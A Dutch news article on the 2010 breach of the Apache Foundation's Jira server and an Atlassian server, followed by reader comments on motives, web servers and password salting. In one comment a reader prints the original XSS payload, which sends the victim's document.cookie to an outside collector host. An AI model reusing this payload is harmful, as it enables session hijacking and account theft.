Hackers bemachtigen wachtwoorden Apache Foundation

Op een server van de Apache Foundation zijn wachtwoorden buitgemaakt nadat een webdienst was gekraakt. Ook een webserver van de firma Atlassian, de leverancier van de betreffende software, werd door de hackers succesvol aangevallen.

Het Apache Infrastructure Team meldt op zijn blog dat hackers er op 5 april in zijn geslaagd om sessies van een aantal beheerders te kapen. De hackers gebruikten een cross site scripting-aanval die met een tinyurl-adres was gemaskeerd en die een lek in Jira misbruikte. Jira wordt door ontwikkelaars van de Apache Foundation gebruikt als issue tracker. Tegelijk met deze hack werd een brute force-aanval uitgevoerd op de inlogpagina van Apaches Jira-server.

De hackers slaagden er uiteindelijk in adminstratorrechten in Jira te krijgen, waarna dit systeem werd gebruikt om diverse java-applicaties te draaien, waaronder een wachtwoordenlogger. Daarmee wisten de hackers op 9 april root-toegang tot de bewuste server te krijgen. Deze server draaide ook Bugzilla en Confluence en ook hiervan moeten de wachtwoorden als gecompromitteerd worden beschouwd.

Toen de Apache-systeembeheerders de hackers ontdekten, werden de betreffende diensten in allerijl naar een andere server verhuisd. De hackers hadden inmiddels echter al een tweede server gekraakt, die net als de eerste als verloren moet worden beschouwd. Inmiddels zijn de services weer via andere servers in de lucht. Apache beschouwt alle wachtwoorden op de gehackte server als gecompromitteerd en roept gebruikers van de diensten Jira, Bugzilla en Confluence op om nieuwe wachtwoorden aan te maken.

Dezelfde hackers hebben bovendien een server van Jira-maker Atlassian gekraakt. Hierbij is een database met onversleutelde wachtwoorden buitgemaakt. Het gaat daarbij om accounts die voor juli 2008 zijn aangemaakt en die per abuis niet waren weggegooid. Het bedrijf heeft alle klanten over de aanval geïnformeerd en alle wachtwoorden gereset. Voor Jira is inmiddels een patch uitgebracht die het gebruikte xss-lek moet dichten.

Reacties (58)

Het is een zeer uitgebreide hack geweest. De tinyrul bestaat nog steeds:

$ wget http://tinyurl.com/...
...
Resolving tinyurl.com... 216.218.139.84, 216.218.139.86
Connecting to tinyurl.com|216.218.139.84|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location:....jsp?element=name;}catch(e){}%0D%0A--></script><noscript><meta http-equiv="refresh" content="0;url=http://pastie.org/904699"></noscrip
t><script>document.write('<img src="http://teap.zzl.org/teap.php?data='%2bdocument.cookie%2b'"/>');window.location="http://pastie.org/904699";</script>...

Hier kun je goed zien dat via document.cookie het domeincookie van jira opgevraagd wordt en meegegeven wordt aan een PHP script vermomd als plaatje. Het is al met al een erg indrukwekkende hack omdat via iets simpels als XSS uiteindelijk met een bruteforce aanval, meerdere accounts zijn gehacked en er full root toegang tot een server is verkregen.
Edit: automatische hyperlink weggehaald

[Reactie gewijzigd door lfs op 14 april 2010 14:15]

Die URL waar hij het cookie naartoe schrijft is al niet meer bereikbaar - DDoSt of offline gehaald?

Dat hij vervolgens redirect naar een stacktrace vanuit Jira op Pastie.com is wel apart. Of is dat ook onderdeel van de hack?

Lekker dan. Gelukkig geen bug van apache.

Wat is nou eigenlijk het nut van apache foundation hacken?

met wachtwoorden kan je software aanpassen dmv van een patch. stel je voor dat je apache httpd kan voorzien van een backdoor of een password logger.

waar heb jij vandaan dat er machines zijn gehacked waar sourcecode opstaat?
heb je een link naar de bron want dat zou inderdaad wel erg zijn.

Dat zegt hij niet. Maar het zou best het uiteindelijke (niet bereikte) doel van de hackers kunnen zijn.

De hackers zouden ook gewoon de boel gehackt kunnen hebben omdat het kon, en om juist het veiligheidslek aan het licht te brengen.

Niet elke hacker breekt in systemen in voor persoonlijk gewin. Ik vind het persoonlijk al best aardig dat ze deze (best vergezochte) truc gelukt is.

De hackers zouden ook gewoon de boel gehackt kunnen hebben omdat het kon, en om juist het veiligheidslek aan het licht te brengen.

Niet elke hacker breekt in systemen in voor persoonlijk gewin. Ik vind het persoonlijk al best aardig dat ze deze (best vergezochte) truc gelukt is.

... waarom hebben ze dan niet een mailtje gestuurd in plaats van een java app te draaien dat passwords pikt?

Je moet je niet vergissen hoe lang gemelde bugs, security leaks, etc blijven bestaan als je enkel een mailtje stuurt om de beheerder hiervan op de hoogte te stellen. Soms is het na een jaar nog aanwezig. Daarentegen, leg je de boel even plat... ja dan komen ze plots in beweging.

Zeg hiermee niet dat apache foundation dit soort gedrag ook vertoont, of dat de hackers eventueel vooraf op andere manier contact gezocht hebben, maar ik sluit de optie zeer zeker ook niet uit.

Omdat zoiets meestal geen ene fuk uithaalt. Pas als het kalf verdronken is ...

Alle uitgevoerde acties in deze wereld zijn voor persoonlijk gewin.
Als je vrijwilligerswerk doet dan geeft je dat een goed gevoel = persoonlijk gewin.
Als je een veiligheidslek aan het licht brengt (wat hier niet het doel was ((2e server gehackt))) dan weet je dat jij degene bent die 'de wereld verbeterd heeft' = hogere eigenwaarde = persoonlijk gewin.

Ja de mensheid is niet goed en goede mensen bestaan niet.

Kijk maar om je heen

Dat je ergens persoonlijk gewin uit haalt wil absoluut niet zeggen dat het geen 'goede' actie was in deze theorie.

Dit vind ik altijd lekker vage discussies,

een actie zelf (het resultaat ervan) kan best als goed worden gezien, maar de reden die er toe aanzet is niet als beter te beschouwen dan de reden die een oplichter er toe aanzet iemand op te lichten. Als een oplichter geen schuldgevoel heeft en slechts geld wilt hebben doet hij dit uit eigen gewin. Normale mensen lichten anderen niet op omdat ze wel een schuldgevoel hebben en dat geeft negatieve emoties. Zij halen positieve emoties uit dingen die als "goed" kunnen worden omschreven. Oftewel alles blijft uit eigen gewin, je kan slechts hopen dat wat iemand uit eigen gewin doet ook positief voor anderen is, maar de reden die iemand tot een "goede" handeling aanzet is niet "beter" dan die een oplichter tot oplichten aanzet. Kan je dan wel de actie als "goed" omschrijven, of slechts als toevallig positief uitpakkend voor anderen? Een "goede" actie is immers niet vanuit ander perspectief uitgevoerd dan een "slechte" actie. (En ja dit kan je heel ver tot in het extreme trekken...)

[Reactie gewijzigd door M456 op 14 april 2010 19:55]

Alle uitgevoerde acties in deze wereld zijn voor persoonlijk gewin.
Als je vrijwilligerswerk doet dan geeft je dat een goed gevoel = persoonlijk gewin.
Als je een veiligheidslek aan het licht brengt (wat hier niet het doel was ((2e server gehackt))) dan weet je dat jij degene bent die 'de wereld verbeterd heeft' = hogere eigenwaarde = persoonlijk gewin.

Stel iemand wordt beveiligd. Hij/zij wordt vervolgens beschoten. Een beveiliger springt ervoor, vangt de kogel op en is dood.
Dit soort acties gebeuren in de wereld en ik kan moeilijk het persoonlijk gewin zien van dood gaan door een kogel die niet voor jou bedoeld is.

Ja en zonder dat persoonlijke gewin is er geen reden om iets uit te voeren dus als het aan jouw ligt moeten we allemaal maar luie losers worden die de hele dag alleen maar TV kijkt of games speelt?

je zou eens moeten tellen hoeveel mensen hetzelfde wachtwoord op meerder locaties gebruiken.

maar je heb gelijk dat er op deze server geen sourcecode van projecten staat.

Toegang tot gevoelige informatie, zoals kwetsbaarheden die nog niet openbaar zijn gemaakt. Zodat je deze nog kunt gebruiken voor het hacken van grote sites.

Waarom???

Da's duidelijk - "Smashing The Stack For Fun And Profit" (door Aleph One) - een al oud adagio van veel hackers...

Linkje naar Phrack magazine:
http://insecure.org/stf/smashstack.html

De kick natuurlijk...

Oei, moeten we het internet weer zoals in 1995 op cd's gaan uitgeven om het nog een beetje veilig te houden apache servers zijn niet meer te vertrouwen.

[Reactie gewijzigd door Barleone op 14 april 2010 13:54]

Ik vertrouw apache servers nog wel hoor, enig idee wat er allemaal op draait? En zet dit eens af tegen de berichten die je leest over hacks. Dat zijn er toch maar bar weinig.

Waar ik me meer zorgen over maak (en het bevreemt me dat hier niemand anders over begint) is het fenomeen Tiny-url. Als je bedenkt dat o.a. heel Twitter niet meer zonder kan, net als andere vergelijkbare diensten, dan wordt het voor kwaadwillende mensen die misbruik maken d.m.v. fishing, wel heel erg makkelijk gemaakt.

Deels om die reden maar deels ook om meer controle te behouden besluiten vele sites (zoals twitter) om hun eigen tinyurl dienst te beginnen zodat ze ook controle hebben of je ernaar toe kan surfen (spam sites bv.).

twitter: http://help.twitter.com/e...url-shortener-http-twt-tl
helaas kun je die niet zelf gebruiken voor je tweets.

FYI: tweakers heeft http://twk.rs

[Reactie gewijzigd door Barleone op 15 april 2010 01:15]

Hopen dat ze geen backdoor in apache zelf hebben weten in te bouwen. Dan hebben ze wel zo ongeveer world domination :-)

Dat zou opvallen in het version control. Je zou een stealth commit moeten doen omdat normaal gesproken elke commit via een mailing list gepubliceerd wordt. In een stealth commit valt op voor developers die actief met de Apache HTTPd source werken.

Zolang niemand die versie dan begint te gebruiken valt het allemaal wel mee...

Lang leve IIS

IIS hoeft niet eens gehackt te worden, het is sowieso brak..

Java servlets -> Tomcat (apache)
lghttpd -> httpd fork (apache)

Java servlets -> Tomcat (apache)

Er zijn meer Java web-application servers dan Tomcat hoor. Sommigen (zoals Glassfish of JBoss) zijn gebaseerd op Tomcat, en sommige anderen (zoals IBM Websphere) niet.

Dus nee, Java servlets impliceert niet meteen Apache software.

lghttpd -> httpd fork (apache)

Nee, lighttpd is from scratch geschreven, en geen Apache httpd fork. Zie ook de korte lighttpd geschiedenis.

Gehost op Apache Tomcat?

Overigens zou zo een backdoor natuurlijk snel gevonden worden. Als er daadwerkelijk een server gehackt is waar broncode archieven op staan dan worden die archieven natuurlijk altijd gecheckt tegen een backup, of simpelweg als vervuild beschouwd en vervangen door een schone versie.

Lang leven nginx!

Explodeert wat betreft marktaandeel, is door 1 persoon geschreven.
En schopt zowel IIS als Lighttpd kont.

Alles schopt IIS kont en Lighttpd staat al tijden stil.

Probeer de volgende keer doelen te nemen die niet op het busje wachten of de lijkwagen.

"marktaandeel", "door 1 persoon geschreven" en "schopt kont" zijn niet echt criteria waar ik op let bij de keuze voor een webserver.

Dan bel je toch even naar het datacenter dat ze de netwerkkabel lostrekken? Dan komen ze in ieder geval niet meer in de server zelf. Dan kun je later wel de server opschonen...

Ik denk niet dat acties die in 1970 nog wel 'handig' waren nu nog nodig zijn.. Een beetje server beheerder heeft tenminste remote kvm, en anders gewoon een XEN Dom0 met een serial console naar de DomU met daarop de services. Overhead van minder dan 1%.. Veiligheid is redelijk waterdicht (als in: het is bewezen, en nog nooit is iemand slim genoeg gebleken om door VT-d heen Dom0 te misbruiken).

Gisteravond deze mail gekregen van apache:

On April 6 the issues.apache.org server was hacked. The attackers were able to install a trojan JIRA login screen and later get full root access:

https://blogs.apache.org/infra/entry/apache_org_04_09_2010

We are assuming that the attackers have a copy of the JIRA database, which includes a hash (SHA-512 unsalted) of the password you set when signing up as 'xxxxxx' to JIRA. If the password you set was not of great quality (eg. based on a dictionary word), it should be assumed that the attackers can guess your password from the password hash via brute force.

The upshot is that someone malicious may know both your email address and a password of yours.

This is a problem because many people reuse passwords across online services. If you reuse passwords across systems, we urge you to change your passwords on ALL SYSTEMS that might be using the compromised JIRA password. Prime examples might be gmail or hotmail accounts, online banking sites, or sites known to be related to your email's domain, xxxxxxxxx.com.

En hier weer een duidelijk voorbeeld waarom je salt moet toevoegen aan je hash.

Maakt niet zoveel uit als ze de salt ook weten. Zie ook veel systemen waar de salt gewoon naast het wachtwoord in de database staat.

Ja dus? De salt zorgt er juist voor dat de rainbow tables niet meer nuttig zijn. Zonder salt heb je genoeg aan de collision.
hash(password) == hash(collision)
hash(password + salt) == hash(collision) ... maar dan bij het invoeren van collision krijg je hash(collision + salt) wat niet gelijk is aan hash(password + salt)

als

collision = password + salt

dan doe je toch gewoon

collision - salt = password

als

collision = password + salt

dan doe je toch gewoon

collision - salt = password

Het punt is alleen dat je nieuwe tabellen moet maken met hashes. Als je een sterke salt gebruikt ( je kunt namelijk vaak ook speciale tekens gebruiken, of karakters die niet eens een visuele representatie hebben (ASCII 1 - 20 bijv.) ) staan de hashes 9 van de tien keer niet in de tabel.

Korte intro op salten:

//Ik gebruik ff php syntax
md5('password'); // == 5f4dcc3b5aa765d61d8327deb882cf99
// salt wachtwoord
md5('peper&zout' . 'password') ; // == 6576c57d4f4e9e5db904fb525d3711c3

Er staan op internet tabellen met md5 hashes. Deze tabellen kun je gebruiken om de eerste te raden. Maar omdat de tweede een salt heeft, is deze moeilijker te kraken, want deze staat niet in zon voorgegenereerde tabel. Zon tabel maken kost even veel tot meer tijd dan een brute-force aanval op de hash. Als je een constante gebruikt als salt, hoeft de aanvaller maar 1 tabel te maken, en kan hij daarna gewoon opzoeken. Maar in het geval dat je steeds andere salts gebruikt, kan de aanvaller dus niet steeds dezelfde tabel gebruiken, en kost de aanval dus heel veel tijd.

Hmmm vast. Salt is soms bruikbaar, maar vaker heel onveilig te implementeren.
Zie: http://www.slideshare.net...-and-caching-presentation

Dat was nutteloos hier omdat ze full server access hadden
cq ze konden gewoon opzoeken in de code wat de salt was

Wel kwalijk dat er bij Atlassian, een professioneel bedrijf, toch nog ergens ongehashde wachtwoorden werden opgeslagen.

Lees anders even het artikel van Atlassian zelf voordat je gaat roepen. http://blogs.atlassian.co..._our_security_breach.html

Het was een oude authenticatie database die ze voor Crowd gebruikten. Als je zelf ooit een wachtwoordconnector schrijft voor het vullen van andere systemen snap je precies waarom ze dit gedaan hebben.

[...] Als je zelf ooit een wachtwoordconnector schrijft voor het vullen van andere systemen snap je precies waarom ze dit gedaan hebben.

Grapjas. Alsof iedereen hier programmeur is

Het blijft gewoon slordig, zoals ik het in ieder geval in het bericht van Tweakers.net lees, dat ze een oude database vergeten zijn te verwijderen. Een database met onbeveiligde gegevens nota bene.

Als je een ander systeem met data moet vullen ontkom je er bijna niet aan om die wachtwoorden plain-text op te slaan. Waarom zou je onder normale omstandigheden een database weg gooien? Hij hoort niet beschikbaar te zijn, maar ik kan me ook niet voorstellen dat ze hem met een uithangbord hebben neergezet: "Hier staan plain-text wachtwoorden in!". Stel dat het systeem wat je gevuld hebt op z'n bek gaat en opnieuw gevuld moet worden, dan is zo'n oude backup heel handig.

Maar waarschijnlijk is het wel handiger dat bestand dan encrypted op te slaan en niet als unencrypted plain text. Naam van de file of een eenvoudige grep geeft al gauw weg dat het een password database is...

Het gaat hier om een database, en die is sowieso al beveiligd met wachtwoord. En zelfs encrypted zou het wel gekraakt zijn. In een artikel op Webwereld staat dat de hackers root rechten hebben verkregen op verschillende machines. En het hebben van root rechten staat gelijk aan het compleet bezitten van dat systeem. Met dat wachtwoord kunnen ze gewoon alles doen; ook het unencrypten van een database.

Wat volgens mij beter zou zijn geweest, is dat ze die backup server van het internet af hadden gehaald. Ik heb dit artikel niet gelezen, dus ik weet niet in hoeverre dit al gebeurt is...

Ongetwijfeld gebeuren dit soort hacks bij meer bedrijven en organisaties, maar die berichten er meestal niet zo uitgebreid over.

Het lezen van het incident rapport vind ik zeel verhelderend. Er zitten een paar duidelijke kwetsbaarheden in hun security. Zowel in de techniek (ssh-login open naar het internet), maar ook in de menselijke kant (een web-wachtwoord dat gelijk is aan een lokaal gebruikersaccount met sudo-rechten). Uit dit soort cases kun je enorm veel leren, voor op je werk, maar ook voor thuis.

De krakers wisten overigens verdomde goed wat ze deden en dit was niet het werk van script-kiddies, die toevallig over een bekend lek struikelen, maar ze waren heel bewust bezig hiermee. Ben benieuwd of nog uitgevogeld gaat worden uit welke hoek de aanval kwam. Georganiseerde misdaad? China?

Die hackers hebben het wel lang uitgehouden zonder ontdekt te worden:o

Als je eenmaal shell toegang hebt kun je waarschijnlijk ook de httpd.conf lezen

ps: i vergeten ergens in adminstratorrechten in post

Ja dus? In de httpd.conf staat geen gevoelige informatie.